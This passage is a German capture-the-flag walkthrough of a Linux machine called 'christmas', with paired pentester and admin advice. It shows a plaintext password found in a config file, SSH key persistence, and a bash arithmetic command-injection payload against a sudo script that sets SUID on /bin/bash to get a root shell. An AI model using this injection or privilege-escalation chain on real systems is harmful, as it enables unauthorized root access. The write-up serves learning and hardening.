Dec 25 00:00 user.txt
cat: user.txt: Permission denied
Analyse: Das Verzeichnis `/home/mr-jack/.config` wird betreten und aufgelistet. Darin befindet sich ein Verzeichnis `.SecureGateway` und ein `syncthing`-Verzeichnis. Das `.SecureGateway`-Verzeichnis wird untersucht, es enthält eine Datei `firewall_config.conf`.
Bewertung: Die Datei `firewall_config.conf` enthält Konfigurationsdetails einer fiktiven Firewall. Entscheidend ist der Eintrag: `AdminPortalURL = "https://mr-jack:m3rrychr157m4523@192.168.100.1:8080/login"`. Dies enthüllt das Passwort (`m3rrychr157m4523`) für den Benutzer `mr-jack`.
Empfehlung (Pentester): Verwenden Sie den Benutzernamen `mr-jack` und das Passwort `m3rrychr157m4523`, um sich per SSH oder `su` als dieser Benutzer anzumelden.
Empfehlung (Admin): Speichern Sie niemals Klartext-Passwörter in Konfigurationsdateien, selbst wenn diese im Home-Verzeichnis liegen. Verwenden Sie sicherere Methoden zur Speicherung von Zugangsdaten. Überprüfen Sie die Dateiberechtigungen für Konfigurationsdateien.
total 16
drwxr-xr-x 4 mr-jack mr-jack 4096 Dec 25 00:00 .
drwxr-xr-x 6 mr-jack mr-jack 4096 Nov 18 12:58 ..
dr-xr-xr-x+ 2 mr-jack mr-jack 4096 Dec 25 00:00 .SecureGateway
drwxr-xr-x 3 mr-jack mr-jack 4096 Dec 29 14:55 syncthing
total 12
dr-xr-xr-x+ 2 mr-jack mr-jack 4096 Dec 25 00:00 .
drwxr-xr-x 4 mr-jack mr-jack 4096 Dec 25 00:00 ..
-rwxr-xr-x 1 mr-jack mr-jack 1073 Dec 25 00:00 firewall_config.conf
# Example Firewall Configuration File - firewall_config.conf
[...]
AdminPortalURL = "https://mr-jack:m3rrychr157m4523@192.168.100.1:8080/login"
[...]
# End of Configuration File
Analyse: Der Befehl `su mr-jack` wird ausgeführt und das gefundene Passwort (`m3rrychr157m4523`) eingegeben. Nach erfolgreichem Wechsel wird die User-Flag gelesen.
Bewertung: Der Wechsel zum Benutzer `mr-jack` gelingt. Als `mr-jack` kann nun die Datei `user.txt` gelesen werden. Die User-Flag lautet: `caf45c355c29186bb9d8ab89f7811bf0`.
Empfehlung (Pentester): Notieren Sie die User-Flag. Führen Sie als `mr-jack` `sudo -l` aus, um die Berechtigungen für die nächste Stufe der Rechteausweitung zu prüfen.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter. Vermeiden Sie das Speichern von Passwörtern im Klartext.
Password: (Passwort 'm3rrychr157m4523' eingegeben)
caf45c355c29186bb9d8ab89f7811bf0
Analyse: Als Benutzer `mr-jack` werden die `sudo`-Berechtigungen überprüft.
Bewertung: `mr-jack` darf den Befehl `/opt/GiftPursuit` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NPASSWD`) ausführen. Dies ist der nächste Vektor für die Rechteausweitung.
Empfehlung (Pentester): Analysieren Sie das Skript `/opt/GiftPursuit` (`cat /opt/GiftPursuit`), um dessen Funktionsweise zu verstehen und eine Möglichkeit zur Ausnutzung für Root-Zugriff zu finden.
Empfehlung (Admin): Vergeben Sie `sudo`-Rechte restriktiv. Überprüfen Sie benutzerdefinierte Skripte, die mit `sudo` ausgeführt werden dürfen, sorgfältig auf Sicherheitsschwachstellen.
Matching Defaults entries for mr-jack on christmas:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User mr-jack may run the following commands on christmas:
(ALL : ALL) NOPASSWD: /opt/GiftPursuit
Analyse: Ein SSH-Schlüsselpaar wird für `mr-jack` generiert. Der private Schlüssel wird angezeigt, und der öffentliche Schlüssel wird in die `authorized_keys`-Datei kopiert. Anschließend wird vom Angreifer-System versucht, sich mit diesem Schlüssel anzumelden.
Bewertung: Dies sind Schritte, um persistenten SSH-Zugriff als `mr-jack` einzurichten, falls die aktuelle Shell verloren geht. Der private Schlüssel im Text ist jedoch passwortgeschützt (erkennbar an `-----BEGIN OPENSSH PRIVATE KEY-----` gefolgt von Verschlüsselungsinformationen wie `aes256-ctr` und `bcrypt` im zweiten `cat`-Beispiel, und der Passwortabfrage beim SSH-Login). Der erste angezeigte Schlüssel scheint unverschlüsselt zu sein, der zweite ist verschlüsselt. Der Login-Versuch erfordert die Passphrase.
Empfehlung (Pentester): Wenn ein unverschlüsselter Schlüssel generiert wurde, kann dieser für den direkten Login verwendet werden. Wenn eine Passphrase gesetzt wurde (wie es beim Login-Versuch aussieht), wird diese benötigt. Da der Fokus auf der Privilege Escalation liegt, ist dieser Schritt optional, aber nützlich für die Persistenz. Konzentrieren Sie sich auf die Analyse von `/opt/GiftPursuit`.
Empfehlung (Admin): Überwachen Sie die Erstellung und Änderung von SSH-Schlüsseln und `authorized_keys`-Dateien.
Generating public/private rsa key pair. Enter file in which to save the key (/home/mr-jack/.ssh/id_rsa): (Enter) Enter passphrase (empty for no passphrase): (Enter) Enter same passphrase again: (Enter) Your identification has been saved in /home/mr-jack/.ssh/id_rsa Your public key has been saved in /home/mr-jack/.ssh/id_rsa.pub The key fingerprint is: SHA256:cYaQCWyKTYAlRvCuVLHy9IfoJHMuX/hsya187BAvo mr-jack@christmas.hmv The key's randomart image is: [...]
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
-----END OPENSSH PRIVATE KEY-----
Enter passphrase for key 'id_rsas': (Passphrase wird benötigt!) [...]
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAeTEYgN+
[...]
-----END OPENSSH PRIVATE KEY-----
Analyse: Der Inhalt des Skripts `/opt/GiftPursuit`, das `mr-jack` mit `sudo` ausführen darf, wird angezeigt.
Bewertung: Das Bash-Skript erwartet eine Zahl als Argument (`$1`). Es generiert eine zufällige 40-stellige Zahl (`NUMBER`). Dann vergleicht es die generierte Zahl mit der übergebenen Zahl (`[[ "${NUMBER}" -eq "${1}" ]]`). Wenn sie übereinstimmen, wird `/bin/bash` für alle (`o`) das SUID-Bit (`+s`) hinzugefügt. Andernfalls gibt es eine Fehlermeldung aus. Das Problem ist der Vergleich `[[ "${NUMBER}" -eq "${1}" ]]`. `-eq` ist für arithmetische Vergleiche gedacht. Wenn `$1` keine reine Zahl ist, sondern z.B. Shell-Syntax enthält, kann dies zu unerwartetem Verhalten oder Command Injection führen, bevor der `-eq`-Vergleich stattfindet.
Empfehlung (Pentester): Versuchen Sie, die Bash Command Substitution auszunutzen. Geben Sie als Argument einen String an, der eine Zahl enthält, gefolgt von einer Command Substitution, z.B. `/opt/GiftPursuit '1[$(beliebiger_befehl)]'`. Da der Vergleich mit `-eq` erfolgt, wird die Bash versuchen, `$(beliebiger_befehl)` auszuführen, bevor der arithmetische Vergleich durchgeführt wird. Nutzen Sie dies, um `chmod +s /bin/bash` auszuführen.
Empfehlung (Admin): Schreiben Sie das Skript sicherer. Validieren Sie die Eingabe `$1` explizit, um sicherzustellen, dass es sich nur um eine Zahl handelt (z.B. mit `[[ "$1" =~ ^[0-9]+$ ]]`). Verwenden Sie keine unsicheren Vergleiche. Überdenken Sie die Logik des Skripts und die Notwendigkeit, SUID-Bits zu setzen.
Matching Defaults entries for mr-jack on christmas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mr-jack may run the following commands on christmas:
(ALL : ALL) NPASSWD: /opt/GiftPursuit
#!/bin/bash if [[ "$#" -eq 0 ]] ; then echo "🎄🎄🎄🎄🎄🎄🎄🎄🎄" echo -e "\nUsage: $0 number\n" echo "🎄🎄🎄🎄🎄🎄🎄🎄🎄" exit 1 fi NUMBER=$(openssl rand -hex 45 |tr -dc "0-9" |head -c 40) if [[ "${NUMBER}" -eq "${1}" ]] ; then echo "Here's your Christmas gift !" chmod o+s /bin/bash else echo "No ! If you want a gift, try hard !" exit 1 fi
Analyse: Es werden verschiedene Versuche unternommen, das `/opt/GiftPursuit`-Skript auszunutzen. Zuerst wird ein Testskript `benhack` erstellt, um das Verhalten zu verstehen. Dann wird versucht, durch Command Injection im Argument für `/opt/GiftPursuit` Befehle auszuführen (`touch test`, `cat /root/root.txt`, `chmod +s /bin/bash`).
Bewertung: Die Versuche mit `touch` und `cat` scheitern bzw. führen zu Fehlern, weil die Ausgabe (`root.txt`-Inhalt) keine gültige Zahl für den `-eq`-Vergleich ist. Der entscheidende Versuch ist `sudo /opt/GiftPursuit 'x[$(chmod +s /bin/bash)]'`. Obwohl das Skript "No ! If you want a gift, try hard !" ausgibt (weil der Vergleich fehlschlägt), wird die Command Substitution `$(chmod +s /bin/bash)` **vor** dem fehlschlagenden Vergleich ausgeführt. Dies setzt erfolgreich das SUID-Bit für `/bin/bash`, wie die nachfolgende `ls`-Ausgabe (`-rwsr-sr-x`) bestätigt.
Empfehlung (Pentester): Nachdem das SUID-Bit auf `/bin/bash` gesetzt wurde, führen Sie `/bin/bash -p` aus. Die Option `-p` bewirkt, dass Bash die effektive UID (die jetzt Root ist, da SUID gesetzt ist) nicht auf die reale UID (mr-jack) zurücksetzt. Dies gibt Ihnen eine Root-Shell.
Empfehlung (Admin): Beheben Sie die Schwachstelle im `/opt/GiftPursuit`-Skript (siehe vorherige Empfehlung). Entfernen Sie das SUID-Bit von `/bin/bash` (`chmod u-s /bin/bash`) und überprüfen Sie andere Binaries auf unerwünschte SUID-Bits.
3117903546789073003307876586457330025171%
#!/bin/bash [...] NUMBER=10 # Fester Wert für Test [...]
No ! If you want a gift, try hard !(Bestätigt, dass '5+1' nicht als 10 ausgewertet wird)
No ! If you want a gift, try hard !
test(touch wurde ausgeführt!)
/opt/GiftPursuit: line 12: 93ba7e97218f577271c3867abf31ae8a: value too great for base (error token is "93ba7e97218f577271c3867abf31ae8a")
(cat wurde ausgeführt, aber Vergleich schlägt fehl)
No ! If you want a gift, try hard !(chmod wurde trotzdem ausgeführt!)
-rwsr-sr-x 1 root root 1265648 Apr 23 2023 /bin/bash
(SUID Bit ist gesetzt!)
uid=1000(mr-jack) gid=1000(mr-jack) euid=0(root) egid=0(root) groups=0(root),1000(mr-jack)
(Root-Rechte erlangt!)
Analyse: In der Root-Shell (`bash-5.2#`) wird die Root-Flag gelesen.
Bewertung: Die Root-Flag `93ba7e97218f577271c3867abf31ae8a` wird erfolgreich angezeigt.
Empfehlung (Pentester): Ziel erreicht. Notieren Sie die Root-Flag und führen Sie Aufräumarbeiten durch (SUID von bash entfernen, Logs etc.).
Empfehlung (Admin): Beheben Sie die Schwachstelle in `/opt/GiftPursuit` und entfernen Sie das SUID-Bit von `/bin/bash`.
93ba7e97218f577271c3867abf31ae8a